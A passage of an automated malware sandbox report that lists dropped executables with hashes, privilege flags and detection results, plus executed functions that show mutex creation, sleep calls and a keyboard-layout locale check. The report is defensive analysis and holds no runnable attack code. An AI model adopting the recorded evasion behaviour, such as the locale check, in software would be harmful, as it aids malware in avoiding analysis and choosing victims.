Imagebase:	0xa60000
File size:	1'114'112 bytes
MD5 hash:	EF08A45833A7D881C90DED1952F96CB4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000E.00000002.2672043210.0000000005610000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000E.00000002.2665450107.0000000003023000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000E.00000002.2669308993.0000000003E01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000E.00000002.2665450107.0000000002E01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	22:12:39
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018146001\9c795b1b74.exe"
Imagebase:	0x990000
File size:	4'456'448 bytes
MD5 hash:	3FBE557C7EC8409F30604B0F5E365F70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	22:12:52
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018147001\a219613819.exe"
Imagebase:	0x8e0000
File size:	4'485'120 bytes
MD5 hash:	35E2C99A2FED28F4148EF7F4C1431DF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:12:58
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe"
Imagebase:	0x9c0000
File size:	810'496 bytes
MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:12:58
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:13:02
Start date:	19/12/2024
Path:	C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1018148001\173fa614c9.exe"
Imagebase:	0x9c0000
File size:	810'496 bytes
MD5 hash:	E8AF4D0D0B47AC68D762B7F288AE8E6E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	753
Total number of Limit Nodes:	24

Executed Functions

Function 0103652B Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,0103652A,?,?,?,?,?,01037661), ref: 01036567

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: a0a6bceab6230a134cbdde046a04eb5fcddfb9262038e853db10d4ce636f120b
Instruction ID: 1c8ec4f2e3e517299c586478b65c737834df911bd96597a4684c3535019330bf
Opcode Fuzzy Hash: a0a6bceab6230a134cbdde046a04eb5fcddfb9262038e853db10d4ce636f120b
Instruction Fuzzy Hash: B6E08634140108BEDF257B18C80CDD93B6DEF92741F405820F95A46162CBA6EA41C550

Function 052003CE Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1762323521.0000000005200000.00000040.00001000.00020000.00000000.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5200000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90c92050454e585b1d453f6d972144011a1c56cbcb257f24713c941b071a76a4
Instruction ID: 9b29ab0a4e90c41f16a2dccc263ddbb90011c26103cfd1fae29602a5d5072218
Opcode Fuzzy Hash: 90c92050454e585b1d453f6d972144011a1c56cbcb257f24713c941b071a76a4
Instruction Fuzzy Hash: EB316FEB1BE121BD7282C0462B58BFA5A6FE9D67307B09427F407C5983D2C80B4D6036

Function 01005C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000423, xrefs: 010060FA
00000422, xrefs: 010060C9
00000419, xrefs: 01006098
0000043f, xrefs: 0100612B
Keyboard Layout\Preload, xrefs: 01006054

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: 00f865a56186f02edb02b89098ebc6fc820a20bea336717bcd154d81612675b1
Instruction ID: c2877d9685d82663163cccb661d4a4f0d5c68896612fd0db411f63db296a62ce
Opcode Fuzzy Hash: 00f865a56186f02edb02b89098ebc6fc820a20bea336717bcd154d81612675b1
Instruction Fuzzy Hash: B6F11470A0024DAFEB25DF54CC84BDEBBB9EF45304F5046A9E948A72C1DB759A84CF90

Function 01009BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: f3240ef20e4ab96dc04f7f12982ea6d093830e8c0e72e6df5e653ac2e1dedd8b
Instruction ID: b067bae4129abcefd5403c3f5264d31df14b7bf6ea60bad03065b9defefb70aa
Opcode Fuzzy Hash: f3240ef20e4ab96dc04f7f12982ea6d093830e8c0e72e6df5e653ac2e1dedd8b
Instruction Fuzzy Hash: 55314A31B00209CBF719EB7CDD8DBADBBA2EB85324F248258D1989B3D6C77585808791

Function 01009F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0100A963
CreateMutexA.KERNEL32(00000000,00000000,01063254), ref: 0100A981

Memory Dump Source

Source File: 00000000.00000002.1759042521.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1759021644.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759042521.0000000001062000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759118914.0000000001069000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759139144.000000000106B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759160232.0000000001077000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759285862.00000000011D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759307489.00000000011D2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011EC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759338887.00000000011F9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759381658.00000000011FC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759404033.00000000011FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759425309.00000000011FF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759445530.0000000001200000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759469487.0000000001201000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759489724.0000000001202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759511370.000000000120D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759531852.0000000001210000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759562753.0000000001227000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759582664.0000000001229000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759601896.000000000122A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759629981.000000000123D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759659486.000000000125A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759681648.0000000001260000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759706839.0000000001261000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759729373.000000000126A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759750955.000000000126B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759770877.000000000126C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759795756.0000000001279000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759820334.000000000127B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759840734.000000000127C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759861938.000000000127F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759882971.0000000001280000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759904085.0000000001283000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759924483.0000000001284000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759949789.0000000001286000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759971703.000000000128D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1759993528.000000000128F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760015504.0000000001296000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760042592.000000000129A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760073107.00000000012C7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760093269.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760144790.00000000012EE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760167330.00000000012EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760189773.0000000001303000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760210131.0000000001304000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760232991.0000000001305000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760257488.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760278637.000000000130B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760302390.0000000001318000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760324752.0000000001319000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760349404.000000000131A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1760369368.000000000131B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 574cdf6864737e39283963d52936a2896f70a96ec4dd732b543536b0dc40efda
Instruction ID: 6fea566522aa0701481873372eb728d1604b392805ef98a4725188443e0b1f3e
Opcode Fuzzy Hash: 574cdf6864737e39283963d52936a2896f70a96ec4dd732b543536b0dc40efda
